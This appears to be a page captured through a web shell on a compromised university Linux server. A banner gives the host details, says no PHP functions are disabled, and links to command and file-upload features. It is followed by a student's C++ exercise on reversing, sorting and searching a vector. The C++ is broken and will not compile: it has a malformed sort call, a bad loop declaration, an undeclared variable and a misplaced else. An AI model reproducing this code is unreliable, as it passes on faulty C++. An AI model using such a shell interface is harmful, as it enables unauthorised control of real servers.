Server IP : 172.16.15.8 / Your IP : 18.222.20.3 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jcwhiley/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// // Using Verctor class template (INT) #include <iostream> #include <vector> #include <algorithm> // not really necessary here. using namespace std; int main() { vector <int> x; // string in HW // 'I' x.push_back(12); // 12 x.push_back(7); // 7 x.push_back(3); // 3 // 'P' for(int i=0; i<x.size(); i++) cout << x[i] << " " ; cout << "\n\n"; // 'V' (Reverse Order) reverse(x.begin(), x.end() ); cout << "List after reversing: "; // COPY 'P' HERE // 'S' (Sort to Ascending Order) sort(x.begin, x.end() ); // 'D' (Sort to Descending Order) sort(x.begin(), x.end(), greater<int>() ); // int to string // 'R' x.pop_back(); // 'F' bool found = false; int item; cout << "Input the item to be found"; cin >> item; for(int=0; i< x.size(); i++) { if (item == v[i] ) found = true; } if (found) { cout << item << "is in the List." << "\n"; else cout << item << "is not in List." << "\n"; } return 0; }